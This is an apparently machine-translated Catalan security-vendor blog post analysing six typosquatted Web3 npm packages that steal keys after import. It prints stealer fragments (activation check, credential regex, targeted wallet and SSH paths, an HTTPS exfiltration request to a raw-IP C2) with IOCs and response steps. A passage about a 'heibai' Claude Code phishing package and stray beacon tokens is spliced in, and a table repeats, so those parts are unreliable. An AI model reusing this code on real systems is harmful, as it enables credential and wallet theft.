L'atac d'OVMDeFi npm Typosquatting roba les claus dels desenvolupadors.

Un atac d'ocupació typosquatting d'EVM/DeFi npm roba claus de desenvolupador.

TL; DR

El 6 de maig de 2026, un únic editor de npm, namikazesarada010206, va publicar sis paquets maliciosos dirigits a l'ecosistema de desenvolupadors d'Ethereum, Solidity i DeFi.

Els paquets, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utilsi web3-utils-core, utilitzava noms plausibles dissenyats per semblar biblioteques auxiliars per a eines populars del Web3.

Els sis paquets contenien el mateix telemetry.js fitxer. El fitxer era idèntic en bytes a tot el clúster, amb SHA-256:

SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1

El programari maliciós no s'executa en el moment de la instal·lació. No hi ha cap preinstall or postinstall hook. En canvi, s'activa quan el paquet s'importa a través de require().

Aquest detall importa.

L'implant espera fins que un desenvolupador realment utilitzi el paquet. Aleshores comprova si l'estació de treball s'assembla a un entorn de desenvolupament Ethereum / Solidity real. Busca claus Alchemy o Infura, claus privades, mnemotècniques, claus de desplegament o un directori Foundry local.

Si l'amfitrió coincideix, el lladre recopila claus privades SSH, magatzems de claus de cartera Foundry / Geth / Brownie. .env* fitxers i variables d'entorn sensibles. Xifra el paquet amb AES-256-GCM mitjançant una contrasenya codificada i l'exfiltra a un punt final IPv4 C2 sense processar amb la verificació TLS desactivada.

El sistema d'alerta precoç de programari maliciós (MEW) de Xygeni va confirmar que els sis paquets eren maliciosos. El paquet d'informes de retirada del registre npm està pendent.

El clúster: sis paquets, un editor

El compte de l'editor namikazesarada010206 estava vinculat a l'adreça de Gmail no verificada namikazesarada010206@gmail.com.

La campanya va aparèixer com una ràfega de publicació d'un sol dia el 6 de maig de 2026. Els sis paquets es van versionar com a 1.0.0, no tenia cap dependència en temps d'execució i només enviava tres fitxers:

package.json index.js telemetry.js

També van declarar el mateix repositori font:

https://github.com/harunosakura030303-maker/evmchain-config

Els tres primers paquets van ser detectats pels escàners MEW en la primera publicació. Els tres restants van ser marcats amb força després de la revisió per part d'analistes del perfil npm de l'editor. Un cop el mateix byte idèntic telemetry.js es va confirmar a tot el clúster, es van tancar com a maliciosos per coherència.

paquet version npm Publicat Entrada MEW Veredicte
nucli de Viem 1.0.0 2026-05-06 01:38:44Z # 51049 Maliciós
viem-utils-core 1.0.0 2026-05-06 # 51050 Maliciós
utilitats-core-de-hardhat 1.0.0 2026-05-06 # 51051 Maliciós
evm-utils 1.0.0 2026-05-06 # 51069 Maliciós, per consistència
utilitats de foneria 1.0.0 2026-05-06 # 51071 Maliciós, per consistència
web3-utils-core 1.0.0 2026-05-06 # 51070 Maliciós, per consistència

L'estratègia de nomenament és senzilla però efectiva.

Aquests paquets no suplanten noms exactes de les fonts originals. En comptes d'això, utilitzen sufixos "d'utilitat" plausibles com ara -core, -utilsi -utils-coreAixò fa que semblin biblioteques complementàries que un desenvolupador podria esperar veure a prop de les eines Web3.

Paquet maliciós Objectiu legítim
nucli de Viem viem, un client popular d'Ethereum TypeScript
viem-utils-core Viem
utilitats-core-de-hardhat hardhat, un entorn de desenvolupament convencional de Solidity
evm-utils Espai de noms d'eines EVM genèriques
utilitats de foneria foneria, una cadena d'eines Solidity
web3-utils-core web3-utils, ajudants de Web3.js

Aquest és el patró del "paquet suplementari": no "sóc el paquet real", sinó "semblo un ajudant raonable al voltant del paquet real".

Per als desenvolupadors de DeFi que es mouen ràpidament, això és suficient per crear risc.

Què passa quan s'importa el paquet

La cadena d'atac és petita, deliberada i centrada en entorns de criptodesenvolupament.

No hi ha cap ganxo d'instal·lació. En comptes d'això, cada paquet inclou un index.js que exporta la funcionalitat de stub i després carrega el mòdul de telemetria maliciós.

require('./telemetry').init();

Això significa que el programari maliciós s'activa en la primera importació.

Això és operativament útil per a l'atacant. Molts escàners i sandboxes se centren en el comportament en temps d'instal·lació. Aquest paquet espera fins que realment l'utilitzi un desenvolupador, un script de compilació, un conjunt de proves o una ruta d'execució.

Porta d'activació: Només s'activa en estacions de treball reals per a desenvolupadors Web3

La part més important de l'implant és la porta d'activació.

El programari maliciós comprova les variables d'entorn que es troben habitualment a les màquines de desenvolupador d'Ethereum / Solidity:

const indicators = [   process.env.ALCHEMY_API_KEY,   process.env.INFURA_KEY,   process.env.PRIVATE_KEY,   process.env.MNEMONIC,   process.env.DEPLOYER_KEY, ].filter(Boolean);

També comprova si sembla que Foundry està instal·lat:

fs.existsSync(path.join(os.homedir(), '.foundry'))

Si cap de les dues condicions és certa, la funció retorna i no fa res.

Això fa que el paquet sigui més silenciós en entorns d'anàlisi genèrics. Un sandbox sense claus Foundry, Alchemy, claus Infura, claus privades o mnemotècniques pot veure una importació d'aspecte inofensiu.

En un host coincident, el programari maliciós espera de 60 a 90 segons abans de la recopilació:

setTimeout(() => { try { _collect(); } catch {} },           60000 + Math.random() * 30000).unref();

El retard redueix la correlació òbvia entre la importació i l'exfiltració. .unref() La crida també permet que el procés amfitrió surti normalment si el paquet s'ha importat en un script de curta durada.

Això no és un comportament sorollós de tipus "smash-and-grab". És un robatori dirigit dissenyat per evitar que s'executi tret que valgui la pena robar-ne l'entorn de desenvolupament.

El que recull el lladre

Un cop passa la porta d'activació, el programari maliciós recopila dades de les fonts més importants en el desenvolupament Web3: claus privades, magatzems de claus de cartera, credencials de desplegament, secrets al núvol, tokens npm i configuració del projecte local.

font Què es recull
procés.entorn Qualsevol variable coincident /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Fitxers que contenen PRIVATE KEY o BEGIN OPENSSH, inclòs el contingut complet del fitxer
~/.foundry/keystores/* Fitxers del magatzem de claus de la cartera Foundry
~/.ethereum/keystore/* Fitxers del magatzem de claus de la cartera Geth
~/.brownie/comptes/* Fitxers del magatzem de claus de la cartera Brownie
${cwd}/.env Contingut complet del fitxer
${cwd}/.env.local Contingut complet del fitxer
${cwd}/.env.production Contingut complet del fitxer
${cwd}/.env.development Contingut complet del fitxer
os.nom_amfitrió() Metadades de l'amfitrió
cripto.randomUUID() Identificador de víctima/sessió
Data.now() Marca de temps de la col·lecció
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com

Els tokens ATTA són:

ATTA_ID 00400014144 ATTA_TOKEN 6478159937

No hem pogut confirmar si la telemetria era de la pròpia analítica de l'operador o d'un canal monetitzat per separat. Els tokens d'ATTA són els mateixos en les dues mostres que hem examinat.

Clúster B: heibai

claude.hk OAuth Phishing + Segrest d'ANTHROPIC_BASE_URL

La mostra de l'1 d'abril és la branca més tosca i inicial de la campanya.

heibai:2.1.88-claude.hk-4 va ser publicat per wuguoqiangvip28, un compte creat el 7 de juny de 2025. El paquet s'ha versionat explícitament contra la legítima 2.1.88 Alliberament antròpic.

No es preocupa pel MITM de certificació CA. En comptes d'això, menteix a l'usuari sobre el punt final d'OAuth.

Les addicions malicioses a sobre del codi font filtrat de Claude Code inclouen:

font Què es recull
procés.entorn Qualsevol variable coincident /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Fitxers que contenen PRIVATE KEY o BEGIN OPENSSH, inclòs el contingut complet del fitxer
~/.foundry/keystores/* Fitxers del magatzem de claus de la cartera Foundry
~/.ethereum/keystore/* Fitxers del magatzem de claus de la cartera Geth
~/.brownie/comptes/* Fitxers del magatzem de claus de la cartera Brownie
${cwd}/.env Contingut complet del fitxer
${cwd}/.env.local Contingut complet del fitxer
${cwd}/.env.production Contingut complet del fitxer
${cwd}/.env.development Contingut complet del fitxer
os.nom_amfitrió() Metadades de l'amfitrió
cripto.randomUUID() Identificador de víctima/sessió
Data.now() Marca de temps de la col·lecció

La llista d'objectius és molt específica. No es tracta d'un robatori genèric del navegador ni d'un scraping ampli de credencials. Està dirigit a desenvolupadors que creen, proven, implementen o operen aplicacions Ethereum.

La inclusió dels magatzems de claus Foundry, Geth i Brownie és especialment important. Aquests fitxers poden representar accés directe a moneders o identitats de desplegament. Si l'atacant els pot emparellar amb contrasenyes, mnemotècniques o secrets d'entorn, pot ser capaç de moure fons, suplantar els desplegadors o comprometre les operacions dels contractes intel·ligents.

Xifratge abans de l'exfiltració

El programari maliciós xifra les dades recollides abans d'enviar-les.

const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);

La contrasenya codificada és:

a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d

La càrrega útil final s'embolica com a JSON:

{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}

El xifratge no fa que el programari maliciós sigui més avançat per si sol. Tanmateix, dificulta la inspecció de la xarxa. Un defensor que vigili la sortida veuria una càrrega útil JSON, però no les claus robades, els fitxers de cartera ni... .env continguts sense la contrasenya codificada ni la lògica de desxifrat.

Exfiltració a un C2 IPv4 en brut

La ruta d'exfiltració està codificada de manera fixa:

const req = https.request({   hostname: '76.13.37.80', port: 8443,   path: '/api/v1/telemetry', method: 'POST',   headers: { 'Content-Type': 'application/json', ... },   rejectUnauthorized: false, timeout: 8000, }, () => {});

El programari maliciós envia dades a:

https://76.13.37.80:8443/api/v1/telemetry

Destaquen dos detalls.

En primer lloc, el C2 és una adreça IPv4 en brut en lloc d'un domini. Això elimina la necessitat de registrar el domini i evita algunes deteccions basades en dominis.

En segon lloc, la verificació TLS està desactivada amb:

rejectUnauthorized: false

Això permet que el programari maliciós accepti qualsevol certificat, inclosos els certificats autosignats. En altres paraules, l'atacant obté transport xifrat sense necessitat d'un certificat públic vàlid.

No hi ha cap lògica de reintent ni cap amfitrió de reserva. Els errors s'eliminen silenciosament. Això manté el paquet en silenci si el C2 està fora de línia o no es pot accedir.

Per què és important aquesta campanya

La majoria de paquets npm maliciosos dirigits a desenvolupadors persegueixen credencials àmplies: tokens npm, claus AWS, tokens GitHub o .npmrc arxius.

Aquesta campanya redueix l'objectiu.

Busca signes que la màquina pertanyi a un desenvolupador d'Ethereum o Solidity. Aleshores, extreu exactament els actius que importen en aquest entorn: magatzems de claus de cartera, claus privades, mnemotècniques, claus de desplegament, .env fitxers i claus SSH.

Això fa que la campanya sigui més perillosa per als equips Web3 que un lladre de npm genèric.

Una infecció reeixida podria exposar:

  • Carteres de desplegament
  • Claus d'administració de contractes intel·ligents
  • Claus del proveïdor RPC
  • Credencials de desplegament al núvol
  • tokens de publicació npm
  • Accés SSH a la infraestructura del desenvolupador o de la construcció
  • Secrets del projecte emmagatzemats a .env arxius
  • Magatzems de claus de cartera per a Foundry, Geth o Brownie

Els noms dels paquets també mostren una clara enginyeria social. Es dirigeixen a l'ecosistema de desenvolupadors Web3 a través de noms d'eines familiars: viem, hardhat, foundry, evmi web3.

L'actor no necessita comprometre els projectes reals. Només necessita un desenvolupador que instal·li el que sembla un paquet complementari raonable.

Indicadors de compromís i detecció

Paquets i editor
Camp Valor
editor de npm namikazesarada010206
Correu electrònic de l'editor namikazesarada010206@gmail.com
Correu electrònic verificat no
SCM verificat no
Puntuació de reputació 1.0
Paquets viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, web3-utils-core
versions Tots 1.0.0
Repositori font https://github.com/harunosakura030303-maker/evmchain-config
Maliciós confirmat Tots sis paquets
Xarxa
Tipus Valor
Punt final C2 https://76.13.37.80:8443/api/v1/telemetry
C2 IP 76.13.37.80
Port C2 8443/tcp
Comportament de TLS rebutjarNo autoritzat: fals
Esquema de càrrega útil {"v":2,"iv": "d": "t": }
Fitxers i hashes
Tipus Valor
telemetria.js SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1
Disseny del paquet paquet.json, index.js, telemetria.js
Recompte de fitxers 3
Mida total aproximada 3.4 KB

Senyals d'activació

El programari maliciós comprova aquestes variables d'entorn:

ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY

També comprova:

~/.foundry/

Rutes d'amfitrió dirigides

~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development

Expressió regular de la col·lecció

/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i

Notes de detecció

Diverses regles capturen aquesta campanya sense necessitat d'una anàlisi completa del comportament.

Primer, escaneja els fitxers de bloqueig per trobar els sis noms de paquets maliciosos:

viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core

Qualsevol partit en package-lock.json, yarn.lock, pnpm-lock.yaml, O node_modules La història s'ha de tractar com un incident greu.

En segon lloc, monitoritza els processos de Node.js que llegeixen les rutes del magatzem de claus de la cartera:

~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/

Aquest és un comportament rarament legítim per a un paquet importat com a dependència auxiliar. És especialment sospitós quan va seguit d'activitat de xarxa sortint.

En tercer lloc, bloqueja o alerta les connexions HTTPS a:

76.13.37.80:8443

Especialment quan la ruta de sol·licitud és:

/api/v1/telemetry

En quart lloc, busqueu paquets npm que combinin aquests trets:

  • Editor nou o de baixa reputació
  • Compte de Gmail no verificat
  • Nom del paquet adjacent a Web3
  • Sense historial significatiu del repositori
  • Disseny de paquets petits
  • index.js que carrega un fitxer de telemetria o d'ajuda
  • Sense dependències en temps d'execució
  • Col·lecció de variables d'entorn sensibles
  • Accés al magatzem de claus de cartera

Aquest patró és més útil que un únic IOC perquè el següent paquet pot canviar l'adreça IP però mantenir la mateixa lògica de segmentació.

Llista de comprovació de resposta de compromís

Si un desenvolupador ha utilitzat un dels sis paquets i el seu entorn coincideix amb la porta d'activació, tracta l'estació de treball com a compromesa.

Això inclou màquines amb Foundry instal·lat, claus d'Alchemy o Infura a l'entorn, claus privades, mnemotècniques o claus de desplegament.

Resposta recomanada:

  • Desconnecteu l'amfitrió de la xarxa.
  • preserve node_modules, fitxers de bloqueig, historial de shell i registres rellevants per a la forense.
  • Gira cada parell de claus SSH sota ~/.ssh/.
  • Rota les claus de la cartera per a cada magatzem de claus a sota ~/.foundry, ~/.ethereumi ~/.brownie.
  • Transfereix els fons a moneders nous.
  • Gira tots els secrets emmagatzemats a .env* fitxers als repositoris on treballava el desenvolupador.
  • Rota els secrets d'entorn que coincideixin amb l'expressió regular de la col·lecció, incloses les claus d'AWS, els tokens npm, els tokens de desplegament, les claus d'API, les claus privades, les llavors i els mnemotècnics.
  • Audita l'activitat del núvol, npm, GitHub, del proveïdor RPC i de la cadena de blocs des que es va instal·lar el paquet per primera vegada.
  • Torneu a crear la imatge de l'estació de treball abans de reutilitzar-la.

Què haurien de retenir els defensors

Aquesta campanya mostra com l'ocupació typogràfica de npm està evolucionant al voltant d'ecosistemes de desenvolupadors d'alt valor.

L'actor no necessitava persistència. No necessitaven ofuscació. Ni tan sols necessitaven execució en temps d'instal·lació.

En canvi, es basaven en tres coses:

  • Noms de paquets Web3 plausibles
  • Activació només en màquines reals de desenvolupament de criptomonedes
  • Robatori directe dels fitxers i secrets que més importen als desenvolupadors d'Ethereum

Això fa que la campanya sigui fàcil de passar per alt en una anàlisi general i perillosa quan aterra en l'entorn adequat.

Per als equips Web3, la lliçó és clara: tracteu els noms de dependències com a part del vostre model d'amenaces. Un paquet que sembli un ajudant inofensiu encara pot convertir-se en el camí més curt cap a un compromís de la cartera.

S'ha informat al registre npm. Actualitzarem aquesta publicació quan s'eliminin el compte d'editor i els paquets.

sca-tools-software-composition-analyse-tools
Prioritzar, solucionar i protegir els riscos del programari
Obtén el teu compte gratuït.
No es requereix cap targeta de crèdit.

Assegura el desenvolupament i el lliurament del teu programari

amb el paquet de productes Xygeni